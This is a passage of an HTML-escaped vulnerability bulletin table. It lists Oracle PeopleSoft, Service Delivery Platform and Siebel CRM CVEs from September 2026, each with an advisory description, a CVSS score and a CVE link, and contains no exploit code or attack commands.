&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73954&quot; target=&quot;_blank&quot;&gt;CVE-2026-73954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. While the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82993&quot; target=&quot;_blank&quot;&gt;CVE-2026-82993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Cube Manager). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83014&quot; target=&quot;_blank&quot;&gt;CVE-2026-83014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83017&quot; target=&quot;_blank&quot;&gt;CVE-2026-83017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83019&quot; target=&quot;_blank&quot;&gt;CVE-2026-83019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Charting). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73955&quot; target=&quot;_blank&quot;&gt;CVE-2026-73955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Ren Server). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73960&quot; target=&quot;_blank&quot;&gt;CVE-2026-73960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Cube Manager). Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83015&quot; target=&quot;_blank&quot;&gt;CVE-2026-83015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR). Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83016&quot; target=&quot;_blank&quot;&gt;CVE-2026-83016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83018&quot; target=&quot;_blank&quot;&gt;CVE-2026-83018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. While the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87264&quot; target=&quot;_blank&quot;&gt;CVE-2026-87264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PRTL Interaction Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PRTL Interaction Hub product of Oracle PeopleSoft (component: Enterprise Portal). The supported version that is affected is 9.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PRTL Interaction Hub. While the vulnerability is in PeopleSoft Enterprise PRTL Interaction Hub, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all PeopleSoft Enterprise PRTL Interaction Hub accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83070&quot; target=&quot;_blank&quot;&gt;CVE-2026-83070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Service Delivery Platform&lt;/td&gt;
&lt;td&gt;Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Service Delivery Platform. While the vulnerability is in Service Delivery Platform, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82997&quot; target=&quot;_blank&quot;&gt;CVE-2026-82997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Service Delivery Platform&lt;/td&gt;
&lt;td&gt;Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Service Delivery Platform. While the vulnerability is in Service Delivery Platform, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82998&quot; target=&quot;_blank&quot;&gt;CVE-2026-82998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Service Delivery Platform&lt;/td&gt;
&lt;td&gt;Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Service Delivery Platform. While the vulnerability is in Service Delivery Platform, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82999&quot; target=&quot;_blank&quot;&gt;CVE-2026-82999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Service Delivery Platform&lt;/td&gt;
&lt;td&gt;Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83000&quot; target=&quot;_blank&quot;&gt;CVE-2026-83000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Service Delivery Platform&lt;/td&gt;
&lt;td&gt;Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83151&quot; target=&quot;_blank&quot;&gt;CVE-2026-83151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel Apps - Customer Order Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel Apps - Customer Order Management product of Oracle Siebel CRM (component: Order Management). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel Apps - Customer Order Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Siebel Apps - Customer Order Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel Apps - Customer Order Management accessible data as well as unauthorized access to critical data or complete access to all Siebel Apps - Customer Order Management accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83144&quot; target=&quot;_blank&quot;&gt;CVE-2026-83144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel Apps - Customer Order Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel Apps - Customer Order Management product of Oracle Siebel CRM (component: Order Management). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel Apps - Customer Order Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Siebel Apps - Customer Order Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel Apps - Customer Order Management accessible data as well as unauthorized access to critical data or complete access to all Siebel Apps - Customer Order Management accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83145&quot; target=&quot;_blank&quot;&gt;CVE-2026-83145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel Apps - Financial Services&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel Apps - Financial Services product of Oracle Siebel CRM (component: Financial Accounts). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel Apps - Financial Services. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel Apps - Financial Services accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel Apps - Financial Services. CVSS 3.1 Base Score 9.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83197&quot; target=&quot;_blank&quot;&gt;CVE-2026-83197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel Apps - Life Sciences&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: eDetailing). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel Apps - Life Sciences. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel Apps - Life Sciences accessible data as well as unauthorized access to critical data or complete access to all Siebel Apps - Life Sciences accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83143&quot; target=&quot;_blank&quot;&gt;CVE-2026-83143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel Apps - Life Sciences&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: Life Sciences). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel Apps - Life Sciences executes to compromise Siebel Apps - Life Sciences. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel Apps - Life Sciences. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83193&quot; target=&quot;_blank&quot;&gt;CVE-2026-83193&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel Apps - Marketing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel Apps - Marketing product of Oracle Siebel CRM (component: Marketing). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel Apps - Marketing. Successful attacks of this vulnerability can result in takeover of Siebel Apps - Marketing. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73966&quot; target=&quot;_blank&quot;&gt;CVE-2026-73966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel Apps - Self Service&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel Apps - Self Service product of Oracle Siebel CRM (component: Helpdesk/Training). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel Apps - Self Service. Successful attacks of this vulnerability can result in takeover of Siebel Apps - Self Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83212&quot; target=&quot;_blank&quot;&gt;CVE-2026-83212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Siebel CRM Cloud Applications executes to compromise Siebel CRM Cloud Applications. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Cloud Applications accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83073&quot; target=&quot;_blank&quot;&gt;CVE-2026-83073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via SSH to compromise Siebel CRM Cloud Applications. While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83074&quot; target=&quot;_blank&quot;&gt;CVE-2026-83074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Cloud Applications. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data as well as unauthorized update, insert or delete access to some of Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83078&quot; target=&quot;_blank&quot;&gt;CVE-2026-83078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Easily exploitable vulnerability allows low privileged attacker with access to the physical communication segment attached to the hardware where the Siebel CRM Cloud Applications executes to compromise Siebel CRM Cloud Applications. While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data as well as unauthorized update, insert or delete access to some of Siebel CRM Cloud Applications accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM Cloud Applications. CVSS 3.1 Base Score 8.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83085&quot; target=&quot;_blank&quot;&gt;CVE-2026-83085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
